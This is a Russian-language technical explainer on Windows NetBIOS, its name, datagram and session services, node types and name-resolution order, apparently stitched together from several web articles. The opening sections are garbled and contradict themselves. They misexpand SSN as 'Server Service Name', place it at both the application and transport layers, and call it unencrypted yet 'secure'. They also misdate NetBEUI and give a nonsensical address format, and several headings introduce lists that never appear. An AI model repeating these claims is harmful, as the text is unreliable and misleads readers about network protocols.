Microsoft windows netbios ssn

NetBIOS SSN (Server Service Name) — это протокол сетевой службы, который используется в операционной системе Windows для обеспечения совместимости и коммуникации между компьютерами в локальной сети. Он был разработан компанией Microsoft и является одним из основных компонентов протокола NetBIOS.

NetBIOS SSN позволяет компьютерам в сети обмениваться информацией, делать запросы к файловым и принтерским ресурсам, а также осуществлять удаленное управление. Этот протокол работает на прикладном уровне модели OSI, что позволяет другим компьютерам в сети обращаться к ресурсам, предоставляемым сервером NetBIOS SSN.

Взаимодействие с протоколом NetBIOS SSN осуществляется с помощью различных программных средств, таких как файловые менеджеры, команды операционной системы или специализированные утилиты. При работе с NetBIOS SSN важно учитывать безопасность данных, поскольку этот протокол не обеспечивает шифрование информации. Для защиты нужно использовать дополнительные средства, такие как виртуальная частная сеть (VPN) или SSL-шлюзы.

Работа с протоколом NetBIOS SSN требует определенных знаний и навыков. Однако, с помощью правильной настройки и использования соответствующих инструментов, можно значительно упростить управление ресурсами сети и повысить ее эффективность.

NetBIOS SSN предоставляет возможность установления и разрыва сетевых сеансов между компьютерами, а также передачи данных по сети. Он оперирует на уровне транспортного протокола (например, TCP), и может использовать различные протоколы для установления соединений и обмена данными.

Протокол NetBIOS SSN позволяет программам на одном компьютере подключаться к сервисам, предоставляемым на других компьютерах в локальной сети. Это включает в себя доступ к файлам и принтерам, удаленное управление компьютером, обмен сообщениями и другие возможности. NetBIOS SSN использует идентификаторы сессий, которые позволяют нескольким программам одновременно устанавливать связь с одним и тем же удаленным сервисом.

Для работы с NetBIOS SSN можно использовать различные инструменты и программы, предоставляемые операционной системой Windows. Это может быть командная строка Windows (cmd.exe), утилита Telnet для удаленного подключения по протоколу Telnet, Windows PowerShell и другие инструменты. Для программирования на NetBIOS SSN можно использовать различные языки программирования, такие как C#, VB.NET, Python, и другие.

NetBIOS SSN имеет свои особенности и ограничения. Он является устаревшим протоколом и может быть заменен более современными решениями, такими как SMB (Server Message Block) или NFS (Network File System). Однако он все еще широко используется в сетях, основанных на операционных системах Windows, и может быть полезен при работе с легаси-системами.

Определение и функции протокола

Основные функции протокола NetBIOS:

Протокол NetBIOS был широко использован в прошлом, особенно в сетях на основе операционной системы Windows. Однако с развитием сетевых технологий он был заменен более современными протоколами, такими как TCP/IP. Тем не менее, NetBIOS по-прежнему поддерживается и может использоваться в некоторых сетевых приложениях и операционных системах.

История разработки и использования

В конце 1990-х годов компания Microsoft выпустила операционную систему Windows 95, в которую был добавлен собственный протокол NetBIOS, известный как NetBIOS-enhanced User Interface (NetBEUI). Он предоставлял более продвинутые функции и улучшения по сравнению с оригинальным протоколом NetBIOS.

Однако, с появлением Windows NT и последующих версий Windows, Microsoft стал активно предлагать использовать протокол TCP/IP вместо NetBIOS. TCP/IP стал стандартом для сетевых коммуникаций и обеспечивал более надежную и гибкую передачу данных.

С течением времени протокол NetBIOS стал менее популярным, поскольку TCP/IP набрал широкое распространение в сетях. Однако, он все ещё используется некоторыми устройствами и программным обеспечением, которые не поддерживают TCP/IP.

Преимущества использования протокола

Протокол NetBIOS SSN (NetBIOS Session Service) обладает рядом преимуществ, которые делают его предпочтительным для использования в сетях на базе операционной системы Microsoft Windows:

Благодаря простоте использования, протокол NetBIOS SSN позволяет быстро и легко настроить сетевое соединение между компьютерами и осуществлять передачу данных. Он предлагает простой интерфейс и минимальные требования к настройке, что делает его идеальным решением для пользователей без глубоких знаний в области сетевых протоколов.

Протокол NetBIOS SSN также обладает межплатформенной совместимостью, что означает возможность использования его на различных операционных системах, таких как Windows, Linux и других. Это позволяет пользователям свободно обмениваться данными между компьютерами и операционными системами без каких-либо проблем.

Высокая скорость передачи данных – еще одно преимущество протокола NetBIOS SSN. Он обеспечивает быструю и эффективную передачу данных внутри сети, что является важным фактором для пользователей, осуществляющих работу с большим объемом информации.

Протокол NetBIOS SSN поддерживает широкий спектр приложений, включая файловые и принтерные службы, а также удаленный доступ к компьютерам в локальной сети. Благодаря этому, пользователи могут не только передавать данные, но и использовать разнообразные функции и возможности, предоставляемые протоколом.

Надежность работы – еще одно преимущество протокола NetBIOS SSN. Он обеспечивает стабильное и безопасное соединение в локальной сети, что позволяет пользователям с уверенностью совершать операции передачи данных.

Безопасное соединение – еще одно преимущество протокола NetBIOS SSN. Встроенные механизмы защиты данных позволяют обезопасить их передачу, предотвращая несанкционированный доступ и использование.

Во время установки операционной системы Windows пользователем задаётся имя компьютера, к которому в дальнейшем будут обращаться программы, устройства, соединённые локальной сетью, веб-сервер, FTP и другие сетевые службы. Протокол NetBIOS крайне важен для работы системы, поэтому рекомендуется знать о его устройстве и выполняемых функциях, чтобы лучше понимать, как происходит обмен данными между процессами, приложениями или компьютерами.

Картинка с сайта: windowsa.ru

Windows использует данный интерфейс в качестве основной системы сетевого ввода-вывода, а также для возможности установки общего доступа к сетевым устройствам и файлам. Пакеты данных передаются по локальной сети через сеансы эталонной модели взаимодействия открытых систем, и через сетевые протоколы приложения могут обмениваться информацией по ним. Простыми словами, данная система является сетевым протоколом, предназначенным для работы в локальных сетях и обмена сведениями, значениями и другими данными внутри них. Начиная с Windows 2000 модуль поддержки NetBIOS через TCP/IP носит название NetBT.

Картинка с сайта: windowsa.ru

По протоколу программы находят нужные им ресурсы, передают запросы на получение информации либо отдают собственные данные. Сперва открывается сессия с NetBIOS запросом, задаётся IP-адрес, система определяет подходящий порт для проведения конкретного типа операции (служба имён использует порт 137, дейтаграмм – 138, а сессий – 139), происходит обмен пакетами данных, когда поток прекращается – сессия закрывается. Одно сообщение может занимать до 131071 байт или 131 КБ. В одно время может быть установлено несколько уникальных сессий. NetBIOS адрес имеет следующий вид: IP.**.**.**.**, где под звёздочками – IP-адрес, а под IP – тип осуществляемой операции. Протокол использует собственные команды для проведения обмена данными (send, receive, call, remote program load, session status, reset, hang up, cancel и другие), а также особые примитивы для взаимодействия с дейтаграммами (receive datagram, send datagram, receive broadcast datagram, send broadcast datagram). Крайние узлы NetBIOS подразделяются на следующие типы:

• Широковещательные b-узлы.
• P-узлы точка-точка.
• M-узлы смешанного типа.

В зависимости от IP-адреса, используется конкретный вид запроса, к примеру, для осуществления передачи данных узлами P- и M- будет использован NBNS сервер имён и NBDD сервер распределения дейтаграмм.

Службы NetBIOS

Для работы протокол использует NetBIOS-NS (служба имён), NetBIOS-SSN (сеансовая служба) и NetBIOS-DGM (служба рассылки дейтограмм). NS выполняет функцию регистрации и разрешения имён, DGM подходит для передачи данных без установки соединения, а последняя служба, SSN — передаёт пакеты с установлением соединения.

Протокол обеспечивает команды и поддержку следующих служб, предоставляя им доступ к сеансам эталонной модели взаимодействия открытых систем OSI:

1. Протокол и адаптер мониторинга и управления;
2. Установление и завершение сессии;
3. Ненадёжная передача данных без установки соединения;
4. Регистрация и проверка имени сети;
5. Надёжная ориентированная на соединение передача данных сеанса.

Картинка с сайта: windowsa.ru

Сперва служба имён осуществляет регистрацию имени приложения в NetBIOS, перед тем как запустить сеанс либо начать распространение дейтаграмм. Используются примитивы «add name» (регистрация имени), «add group name» (запись имени группы NetBIOS), «delete name» (удаление регистрации имени приложения либо группы), «find name» (поиск имени NetBIOS в сети).

Служба рассылки дейтаграмм работает на порту UDP 138 и отвечает за режим обмена без установки соединения. С помощью примитивов «send datagram» (отправка дейтаграммы на удалённое имя), «receive datagram» (переход в режим ожидания получения пакета), «send broadcast datagram» (отправка датаграммы всем зарегистрированным именам из сети NetBIOS), а также «receive broadcast datagram» (ожидание получения пакета данных из сессии отправки широковещательной дейтаграммы) – происходит обмен информацией без установленного соединения.

В сеансовом режиме используется SSN служба (TCP порт 139), которая позволяет установить соединение между двумя компьютерами и обмениваться сообщениями (охват сразу нескольких пакетов), а также отвечающая за обеспечение диагностики и исправления ошибок. Сеанс происходит с использованием данных типов примитивов:

• Call – запуск сеанса;
• Send – передача пакета на другой компьютер;
• Receive – переход в состояние запроса пакета от компьютера на другом конце сеанса;
• Hang up – завершение сеанса;
• Listen – прослушивание попыток запуска сеанса;
• Send No Ack – передача данных без запроса подтверждения на получение от второго участника сессии.

Картинка с сайта: windowsa.ru

Компьютер, инициирующий сеанс, должен отправить запрос Open, после чего должен запросить запуск сеанса с помощью Call. Принимающий отвечает на каждый передаваемый пакет положительно (ACK), либо отрицательно (NAK). Чтобы сессия была закрыта, компьютер, который не является инициирующим должен отправить запрос Hang Up на завершение и получить подтверждение от инициатора.

Запуск и отключение службы NetworkBIOS

Перед тем, как прекратить работу NetBIOS через TCP/IP, помните, что служба является относительно важной для компьютера и после проведения данной операции не сможет правильно функционировать возможность доступа к сетевому компьютеру по NetBIOS-имени. Если персональный компьютер подключен к сети, не рекомендуется отключать данную службу, чтобы не возникало ошибок.

Картинка с сайта: windowsa.ru

Картинка с сайта: windowsa.ru

Пользователи задаются вопросом, как узнать статус службы в Windows 10 (и других выпусках). Для того чтобы это сделать, необходимо вызвать системное приложение «Выполнить» при помощи комбинации Win + R, затем ввести в поле «Запустить» значение «services.msc» и нажать ОК. Для удобного поиска можете отсортировать список в алфавитном порядке, щёлкнув на колонку «Имя». Здесь необходимо найти интересующую службу, в нашем случае это «Модуль поддержки NetBIOS» через TCP/IP». Колонка «Состояние» отображает, запущена ли в текущий момент служба или нет. По умолчанию данный модуль находится в запущенном состоянии, если компьютер подключен к сети.

Картинка с сайта: windowsa.ru

Картинка с сайта: windowsa.ru

Картинка с сайта: windowsa.ru

Чтобы отключить NetBIOS, необходимо щёлкнуть правой кнопкой мыши по соответствующему элементу в списке и выбрать пункт «Свойства» в контекстном меню. В настройках службы NetBIOS следует нажать на кнопку «Остановить», а затем установить тип запуска «Отключена» чуть выше (если нужно запустить, то должно быть выбрано «Вручную» либо «Автоматически). Примените изменения, после чего нажмите «ОК и закройте приложение «Службы». Теперь запустите редактор реестра, воспользовавшись комбинацией Win + R и запросив запуск «regedit.exe». Перейдите в каталог «HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/lmhosts» и измените значение атрибута «Start» на «4» (2 – автоматически, 3 – вручную и 4 – отключить, выбирайте в соответствии с желаемым действием) и нажмите ОК, затем нажмите кнопку F5 на клавиатуре. Перезагрузите компьютер и удостоверьтесь, что NetBIOS больше не запускается автоматически.

Картинка с сайта: windowsa.ru

Картинка с сайта: windowsa.ru

Картинка с сайта: windowsa.ru

Надеемся, вы разобрались с принципом работы этого важного сетевого протокола, ранее имевшего статус первой необходимости на каждом компьютере (сейчас это время прошло, теперь используется исключительно соединение Service Message Block или SMB). Если остались какие-либо вопросы, связанные с данной темой, либо возникли проблемы во время отключения сетевого компонента Windows – записывайте свои ответы в комментарии. Не забывайте и про рейтинг, оцените статью с помощью специальной формы.

NetBIOS (Network Basic Input/Output System, Сетевая Базовая Система Ввода/Вывода) — это интерфейс для работы в локальных сетях, разработанный фирмой Sytek для компании IBM в 1983 году. Как гласит RFC1001: NetBIOS defines a software interface not a protocol. There is no «official» NetBIOS service standard. И всё же NetBIOS, по моему скромному мнению, и интерфейс и протокол, поэтому, с вашего позволения, назовем его стандартом (не смотря на то, что официально он так и не был полностью стандартизован). Довольно часто NetBIOS называют сетевым протоколом, но это не совсем корректно, поскольку NetBIOS реализован в Windows сразу в нескольких компонентах операционной системы :: в виде интерфейса в библиотеках пользовательского режима и режима ядра, и в виде модуля в стеке сетевого протокола. Интерфейс NetBIOS представляет из себя стандартный набор для разработки приложений (API), протокол NetBIOS функционирует на транспортном/сеансовом уровне стека и используется для передачи данных, управления сеансом и прочих нужд.

Для чего же в своё время потребовался NetBIOS? Для осуществления возможности взаимодействия станций в небольших (локальных) сетях. Что включает в себя возможность взаимодействия по сети? Это назначение станции сетевого имени, по которому она будет доступна в сети, это возможность найти станцию в сети по её имени, возможность соединиться с ресурсами станции и начать с обмениваться с ними данными. Это и возможность получить список сетевых станций, которые подключены к сегменту сети и многое другое, что может быть определено термином «сетевое взаимодействие».

Особенностью NetBIOS является возможность работы «поверх» основных сетевых протоколов, таких как IPX, NetBEUI и TCP/IP. В своё время реализация протокола NetBIOS в Windows была существенно переработана и ориентирована на использование протокола TCP/IP (как наиболее перспективного), получив новое название “NetBIOS over TCP/IP” (NetBIOS через TCP/IP). NetBIOS через TCP/IP имеет псевдоним NetBT (NBT). NetBIOS через TCP/IP представляет собой промежуточный уровень между NetBIOS и TCP/IP и создан для того, чтобы приложения на базе NetBIOS могли работать в сетях TCP/IP, то есть предназначен для отображения имен NetBIOS в IP-адреса и, наоборот. Как мы уже упоминали, NetBIOS разрабатывался на заре становления сетевых технологий, и с того времени часто модифицировался, однако параллельно с ним создавались и другие стандарты сетевого взаимодействия, которые существенно опережали NetBIOS по функционалу. На данный момент NetBIOS считается устаревшим стандартом и не рекомендуется к использованию, заместо него, в части организации передачи данных по сети, Microsoft предлагает использовать сокеты (windows sockets), почтовые каналы (mailslots), именованные каналы (named pipes). Для оставшегося функционала, то есть для сервисных целей разработан новый протокол LLMNR (через PNRP):

NetBIOS через TCPIP не поддерживает IPv6. Поэтому для целей организации взаимодействия в локальном сетевом сегменте без участия опорных серверов (DNS/WINS) с использованием IPv4/IPv6 разработан протокол LLMNR/PNRP.

Однако, не смотря на устаревание NetBIOS, поддержка его сохранена и по сей день, код NetBIOS через TCP/IP всё еще присутствует в составе последних версий Windows. Причиной столь огромной популярности стандарта является тот факт, что до определенного времени NetBIOS оставался основным интерфейсом программирования сетевых приложений, и с использованием функций NetBIOS было написано огромное количество разнообразного программного обеспечения.
NetBT является неотъемлемой частью сетевого стека TCP/IP ОС Windows и инсталлируется вместе с протоколом TCP/IP. Части функционала NetBT встречаются в коде библиотек, переменных окружения (%COMPUTERNAME%, %USERDOMAIN%), коде некоторых современных антивирусных продуктов, почтовых серверов, баз данных. NetBIOS до сих пор используется в алгоритме добавления рабочей станции в домен, в процедурах работы с сетевым окружением, подключения сетевых дисков. Об исключительном значении протокола NetBIOS через TCP/IP говорит уже и тот факт, что штатными средствами самой ОС протокол NetBIOS может быть только отключен, но никак не удален. Удаление же его возможно только вместе с удалением протокола TCP/IP.

До определенного времени считалось актуальным высказывание “Сеть Windows не живет без NetBIOS”, но начиная с версии Windows 2000, стало возможным избавиться от использования соединений на основе NetBIOS через TCP/IP и перейти исключительно на соединения по протоколу SMB (Server Message Block). Подобные соединения еще называются TCP/IP Direct Hosting (или DirectSMB). В соединениях на основе SMB отсутствует начальная стадия установки сессии TCP под названием “NetBIOS session setup” и используется единственный порт TCP/445.

SMB — это простой протокол удаленной работы с ресурсами (дисками, устройствами) компьютера. Удивительно, но SMB долгое время довольно тесно взаимодействовал с NetBIOS в части именования и разрешения имен, а так же требовал наличия установленной сессии NetBIOS для взаимодействия между узлами (работал поверх NetBIOS). Теперь же SMB представляет собой самостоятельный протокол, получивший дальнейшее развитие в виде стандарта под названием CIFS, полностью независимого от NetBIOS.

Службы NetBIOS

Далее не будет лишним посмотреть, какие же сетевые порты используются сервисами NetBIOS:

Подобная структура отражает требование RFC 1001, RFC 1002, регламентирующее наличие трех базовых сервисов, которые реализуют эмуляцию NetBIOS в системе Windows.

Реализация NetBIOS

NetBIOS через TCPIP реализован в качестве драйвера уровня ядра netbt.sys, поддерживающего специализированный интерфейс TDI (общий интерфейс для взаимодействия с драйверами, который позволяет сервисам взаимодействовать с транспортными протоколами). Все сервисы, которые работают с NetBT (рабочая станция, сервер, браузер, сетевой вход в систему) используют TDI напрямую. Пользовательские приложения используют стандартный WinAPI (функции, вызовы), поддерживаемый библиотекой netapi32.dll, которая, в свою очередь, является простой «заглушкой» и перенаправляет вызовы к функциям netbios.dll. Функции библиотеки netbios.dll передают запросы к драйверу уровня ядра под названием NetBIOS-эмулятор (%SystemRoot%\System32\Drivers\netbios.sys), который транслирует команды NetBIOS, переданные приложением, в команды TDI-интерфейса.

Картинка с сайта: windowsa.ru

Принципы работы NetBIOS

Собственно, как же работает NetBIOS? Я попытаюсь дать, пока что, собственное объяснение принципов работы стандарта. Все мы понимаем, что для того, чтобы станции могли взаимодействовать по сети, они должны подчиняться определенным правилам, выполнять предписанные действия на различных этапах работы. Этими этапами являются: заявление о себе (регистрация), попытка взаимодействия (обнаружение имен, установление сеанса, управление сеансом), отключение себя (освобождение имени). Поэтому, все узлы, использующие NetBIOS через TCP/IP, применяют регистрацию, обнаружение и освобождение имен, а так же многие другие методы, предоставляемые стандартом. Давайте рассмотрим их детальнее:

• Регистрация имен. Начиная работу, узел NetBIOS пытается заявить о себе в сети, другими словами — сказать «Я есть узел такой то, с таким то именем». Регистрация имени NetBIOS происходит при помощи широковещательного или направленного только к серверу имен NetBIOS (WINS-сервер) запроса. Если какой-либо узел пробует зарегистрировать уже существующее в сети имя NetBIOS, то либо узел с данным именем, либо сервер имен NetBIOS (WINS-сервер) посылает отказ в регистрации имени, и узел, инициировавший регистрацию, получает в качестве ответа сообщение об ошибке.
• Обнаружение имен. Когда узел уже зарегистрировался, работает в сети, но вдруг хочет связаться с другим узлом, он должен узнать IP-адрес этого узла. Для этого, узел-инициатор посылает запрос на определение имени, содержащий искомое NetBIOS имя. Для запроса используется широковещательный пакет или адресный запрос серверу имен NetBIOS (WINS). Узел, которому принадлежит искомое имя, или WINS-сервер отправляют обратно положительный/отрицательный ответ об определении имени. В результате инициатор получает информацию об IP-адресе целевого узла.
• Освобождение имен. Освобождение имени происходит, если станция, приложение или служба NetBIOS прекращает работу. К примеру, если станция отключается некорректно, то она перестает отвечать на запросы, и другие станции через некоторое время прекращают попытки связаться с ней. Если в сети используется сервер имен NetBIOS, то перед корректным выключением станция посылает ему запрос на удаление информации о всех ресурсах, которые она поддерживала. В таком случае говорят, что имя NetBIOS освобождено, и доступно для использования другими узлами.
• Запуск/завершение сеанса. Вероятно, мы пытались обнаружить сетевое имя не просто так, а с какой-то целью. А что если мы хотим обменяться данными: получить/передать файлы? Для этого нам необходимо установить сеанс связи с целевой станцией.
• Надежная передача данных сеанса. После установления надежного сеанса связи с использованием транспортного протокола TCP, мы начинаем обмен данными. Например, передачу файлов.
• Ненадежная передача данных сеанса. После запроса на разрешение имени, мы начинаем передачу информации с помощью транспортного протокола UDP. Например, поиск имени.
• Возможность мониторинга и диагностики. Позволяет запрашивать статус удаленных и локальных ресурсов.

Разрешение имен в NetBIOS изначально было основано на широковещательных запросах (станция заявляет о себе каждые 60 секунд). Собственно, с самого начала NetBIOS и разрабатывался таким образом, чтобы использовать только широковещательные сообщения для локализации устройств в сети. Это и послужило одной из причин сокращения популярности стандарта, поскольку широковещательные запросы существенно увеличивают объем трафика в сети и являются немаршрутизируемыми. Только значительно позже, для устранения проблем широковещательного шторма и отсутствия маршрутизации запросов, решено было создать выделенный узел, который бы принимал запросы и давал ответы об именах в сети — WINS-сервер.

Для того, чтобы лучше понять логику работы NetBIOS через TCP/IP, давайте немного отступим от основной линии рассуждений, и рассмотрим по-отдельности некоторые сущности стандарта.

Имя NetBIOS

Одной из основных целей разработки NetBIOS являлось создание простого интерфейса, который давал бы возможность пользователям назначать станциям символьные имена вида MyComputer. Очевидно, что без подобных имен нам сложно обойтись, поскольку именно легкие имена позволяют человеку «узнать» (однозначно идентифицировать) ресурс, к которому он хочет обратиться по сети. Программам то всё-равно, вместо имен они могут использовать любые идентификаторы, однако человеку удобнее работать именно с фонетическими, понятными и легко запоминающимися маркерами — именами. В качестве имени NetBIOS используется простое одноранговое (“плоское”) имя, без какой-либо иерархической структуры (в противоположность DNS). Подобная простота и отсутствие иерархии имени имеют и оборотную сторону — имена должны быть уникальными.

Имя NetBIOS имеет длину 16 байт.

Первые 15 — собственно имя, 16й — тип ресурса или суффикс (значение в диапазоне 00-FF, шестнадцатеричное представление). NetBIOS имя и имя компьютера (hostname) совпадают по первым 15 символам. Хранится это имя в параметре реестра с именем hostname, который располагается в ветке HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters.
С развитием сетевых технологий логическая структура сетей усложнялась, и помимо станций появились такие понятия как «рабочая группа» и «домен». Пришло осознание того, что ресурсы бывают разнотипными, а имя может быть присвоено не только станции. Опираясь на новые данные, было введено понятие «тип ресурса», который предназначался для логического разделения ресурсов по назначению, это позволило присваивать одно и то же имя нескольким ресурсам одновременно.

NetBIOS имя закрепляется не за станцией, как многие привыкли думать, а за ресурсом и только за ним.

Ресурсы динамически регистрируются сначала в операционной системе (в которой ресурс и создается), а затем [при помощи оповещений] распространяются по сети, которой принадлежит станция. Регистрация ресурса происходит в тот момент, когда в операционной системе стартует сервис (читать: приложение), использующий NetBIOS, либо авторизуется пользователь.
Типы ресурсов стандартизованы по классам и имеют следующие значения:

• Уникальное (Unique, U) — к этому имени может быть привязан только один адрес IP;
• Групповое (Group, G) — к этому имени не привязан единственный адрес, имя может содержать множественные IP-адреса; На запрос WINS-клиента об адресе всегда возвращается limited broadcast address 255.255.255.255;
• Группа Интернет (Internet Group, Special Group, I) — к этому имени может быть привязано до 25 адресов; для каждого адреса хранится свой TTL. Используется для управления именами домена в WinNT;
• Доменное имя (Domain Name, D) — к этому имени может быть привязано множество адресов;

Поскольку NetBIOS не использует номера портов, как это делает TCP/IP, адресное пространство имен должно быть способно поддерживать множество имен для каждой системы. К примеру, если на одной станции реализованы файловый сервер, служба Exchange и сервер удаленного доступа, то каждый из этих сервисов должен иметь отличное от других имя, однозначно определяющее сам сервис. Для этой цели авторы NetBIOS придумали понятие суффикса, который фактически является аналогом порта в TCP/IP. Как было указано выше, он занимает последний, 16й байт в имени и однозначно идентифицирует сервис.

Полный перечень типов общих ресурсов NetBIOS

У имен NetBIOS имеется следующий нюанс — все имена длиной менее 15 символов дополняются пробелами (код символа 20 в шестнадцатеричном представлении), а в некоторых случаях символами BE либо BF. Поскольку к работе над NetBIOS подключались многие разработчики, то и типов общих ресурсов существует великое множество, однако в таблице я привожу только те типы, которые используются Microsoft.

Тип ресурса можно посмотреть командой nbtstat -a <имя_компьютера>:

Основное назначение этой команды — показать информацию из локальной таблицы NetBIOS имен для всех интерфейсов, установленных на станции. Имеет алиас — nbtstat -n.

Методы разрешения имени NetBIOS

Очевидно, что тут мы будем говорить о том, какими средствами NetBIOS удается найти соответствие имени и IP-адреса ресурса? Какие же методы определения имен доступны интерфейсу NetBIOS? Сразу обращу ваше внимание на то, что не все из перечисленных методов относятся непосредственно к стандарту NetBIOS. Я считаю, что к NetBIOS относятся только лишь: LMHOSTS, WINS, кеш имен NetBIOS, широковещательный запрос в подсети. Такие же понятия как HOSTS и DNS относятся уже к TCP/IP Direct Hosting. Но поскольку понятия «NetBIOS имя станции» и «имя хоста» довольно тесно взаимосвязаны в современных ОС Windows, то resolver (модуль, разрешающий имена) использует все доступные методы для нахождения соответствия, умело комбинируя разнородные методы определения имен.

• NetBIOS name cache (локальный кеш NetBIOS) — специальная структура в памяти процесса для записи результатов разрешения имен. Время жизни записей — 10 минут. Приложение смотрит в локальном кэше, нет ли там искомого имени. И правда, зачем нам тратить время на другие методы, если может статься, что мы недавно уже обращались к станции, и имя её содержится в локальном кеше. Локальный кеш NetBIOS можно посмотреть командой «nbtstat -r». Некоторые параметры, которые влияют на функционал NetBIOS name cache можно найти в ветке реестра HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters.
• NetBIOS name server (WINS, NBNS). Если сказать иначе, WINS это DNS от Microsoft для NetBIOS. Станции с определенными типами узлов обращаются к WINS-серверу за разрешением имени.
• IP subnet broadcast — широковещательное сообщение в IP-подсети. Станции с определенными типами узлов формируют широковещательный запрос для разрешения имени.
• Локальный LMHOSTS файл. Аналог файла hosts для NetBIOS. Файл, в котором, в специальном формате, хранится таблица соответствия имен NetBIOS IP-адресам. Размещается в директории %SystemRoot%\System32\Drivers\Etc.
• Локальный HOSTS файл. Файл, в котором, в специальном формате, хранится таблица соответствия имен хостов (TCP/IP hostname) IP-адресам. Располагается в директории %SystemRoot%\System32\Drivers\etc. Этот метод непосредственно не относится к NetBIOS через TCP/IP, а относится уже к TCP/IP Direct Hosting. Если NetBIOS имя найти не удалось, то имя считается как TCP/IP hostname и разрешается уже методами HOSTS+DNS.
• DNS-сервер. Запрос к DNS-серверу. DNS-сервер возвращает запись о соответствии имени хоста IP-адресу.

Тип узла NetBIOS (NodeType)

Поскольку методы регистрации имен в сети у NetBIOS тоже не стояли на месте, и если изначально все сводилось, как мы уже упоминали, к широковещательным запросам, то со временем начали появляться и другие способы зарегистрировать имя (например, с использованием WINS-сервера). В связи с необходимостью разделять логику работы станций, было введено понятие NodeType (NBT-узел) для описания разницы в способах регистрации и распознавания имен. Проще говоря, разные типы узлов имеют свои обособленные алгоритмы разрешения имен в IP-адреса:

• B-node (тип 0x01, широковещательный). Для преобразования имен станций в IP-адреса используется только широковещательные сообщения. Минус этого типа заключается в том, что широковещательные запросы, обычно, режутся маршрутизаторами, поэтому имена могут быть разрешены только в пределах одного сетевого сегмента.
• P-node (тип 0x02, одноранговый). Для разрешения имен используются WINS-сервер (сервер имен NetBIOS). Сессии клиента длятся на три этапа: регистрация имени, обновление имени и освобождение имени. Если WINS не работает, то ни регистрации, ни разрешения не происходит.
• M-node (тип 0x04, смешанный, гибрид B- и P-узлов). Сначала действует как B-node, то есть для разрешения имен используются широковещательные сообщения. Если не получает ответа на широковещательный запрос, то переключается в P-node и использует WINS-сервер.
• H-node (тип 0x08, гибридный, гибрид B- и P-узлов). Сначала пытается стать P-node и действовать через WINS-сервер. Если WINS-сервер не доступен, переключается в B-node и пытается функционировать через широковещательные запросы. Переключается обратно в P-node, как только находит WINS-сервер.

Microsoft использует свою собственные, модифицированные версии типов, так называемые Microsoft-Enhanced B-node, P-node, M-node, H-node. Модификация подразумевает, помимо стандартных алгоритмов, описанных выше, использование файла LMHOSTS, функции API Winsock — gethostbyname(), которая использует в своей логике обращение к HOSTS/DNS.

Пополнив многообразие сетевых разработок, с 1990 года начал активно внедряться протокол DHCP, и пришлось оптимизировать NetBIOS под работу с ним. Так, если в сети используется DHCP для автоматического назначения IP-адресов, то можно установить метод разрешения имен для DHCP-клиентов. Другими словами, можно назначить тип узла (nodetype), через установку опцию DHCP-сервера 046 WINS/NBT. Либо, в случае отсутствия DHCP-сервера, можно локально задать тип узла в реестре через параметр nodetype ключа HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netbt\Parameters.
По умолчанию, при отсутствии WINS-сервера в сети, Windows выставляет тип узла в значение «модифицированный B-node», а при наличии WINS-сервера тип узла выставляется в гибридный, H-node.
Увидеть тип узла можно посредством команды ipconfig /all, в параметре “тип узла”:

Порядок разрешения имен NetBIOS

Это нетривиальный процесс, который во времени претерпевал большое количество изменений, связанных с введением и преобразованием протоколов, ответственных за сетевое взаимодействие. В данный момент сам процесс разрешения имен NetBIOS вызывает большое количество споров. Связано это с тем, что в сети имеется огромное количество различных источников информации, в которых приводятся довольно расплывчатые формулировки, которые зачастую неактуальны или вовсе ошибочны. Я попробую выразить свою точку зрения на вопрос разрешения имен NetBIOS в частности, и шире — на алгоритм разрешения имен в ОС Windows в общем. Надо понимать, что в Windows существуют два параллельных направления разрешения имен — через функции API Windows Sockets и через функции API NetBIOS. Код ОС , то есть приложения, сервисы, драйвера и прочее, могут использовать тот или иной API. Соответственно, сюда относятся и механизмы разрешения имен самой ОС, которые используются при обращении пользователя к сетевым ресурсам стандартными средствами, например, при использовании проводника или средства подключения сетевых дисков. Таким образом, именно от того, какой метод использует тот или иной компонент ОС и зависит, в конечном итоге, алгоритм разрешения имени.

Начиная с Windows 2000, Microsoft существенно изменила порядок разрешения имен. Это было мотивировано разделением SMB и NetBIOS на две независимые ветви кода.

Если приложение использует функции API Winsock

В этом случае, процесс, инициировавший разрешение имени, использует такие функции API Windows Sockets как: getaddressbyname, gethostbyname, getnameinfo, getaddrinfo, и последовательность разрешения имени, в этом случае, такова:

1. Сравнивает искомое имя с собственным. Не я ли это?;
2. Проверяется наличие записи об узле в в локальном кеше DNS-резолвера. На этом же этапе проверяются записи, присутствующие в файле hosts (%SystemRoot%\System32\Drivers\etc), поскольку они, с определенным интервалом, импортируются в кеш DNS-резолвера;
3. Делается запрос к DNS на наличие записи о хосте в зоне;
4. Проверяется локальный кеш имен NetBIOS (NetBIOS name cache);
5. Опрашивается WINS-сервер;
6. Делается широковещательный запрос;
7. Проверяется наличие записи в файле LMHOSTS. Файл располагается в директории %SystemRoot%\System32\Drivers\etc;

Как мы видим, даже при использовании функций API Winsock, в некоторых случаях, в алгоритме разрешения имени вызываются функции API NetBIOS. То есть, все вышеописанные функции API в своей логике содержат ветвления, которые могут инициировать передачу управления функциям API NetBIOS. Реализовано это с целью сохранить совместимость приложений. Однако, если исходное имя, которое должно быть разрешено:

• Представляет из себя FQDN (Full Qualified Domain Name, полностью уточненное доменное имя), то есть запись вида host.domain.ru.
• Имеет длину более 15 символов.
• Имеет символ «.» в своём составе.

..то попытки разрешить имя с помощью функций API NetBIOS вообще не производится. В таком случае, вышеописанные функции в своем алгоритме по условию не вызывают функций разрешения имен API NetBIOS.
Если же имя короче 16 символов (имеет длину не более 15 символов), то в случае неудачной попытки разрешения имени с помощью HOSTS+DNS, функции API Winsock передают его в API NetBIOS (где оно дополняется пробелами) для разрешения уже логикой NetBIOS.

Если приложение использует функции API NetBIOS

В этом случае, логика разрешения имен кардинально меняется. Сперва вызывается единственная функция API NetBIOS которая имеет одноименное название Netbios:

Параметром данной функции является указатель на структуру NCB, в члене ncb_command которой, с целью поиска имени, указывается код команды NCBFINDNAME. В случае ошибки выполнения функции, производится попытка разрешения уже при помощью API Winsock (описан выше).

Последовательность разрешения имен через API NetBIOS в IP-адреса зависит, как мы уже говорили выше, от типа узла.

Например, для Модифицированного H-узла (Enchanced H-node) она следующая:

1. Локальный кеш имен NetBIOS;
2. WINS-сервер;
3. Широковещательный запрос;
4. Файл LMHOSTS;
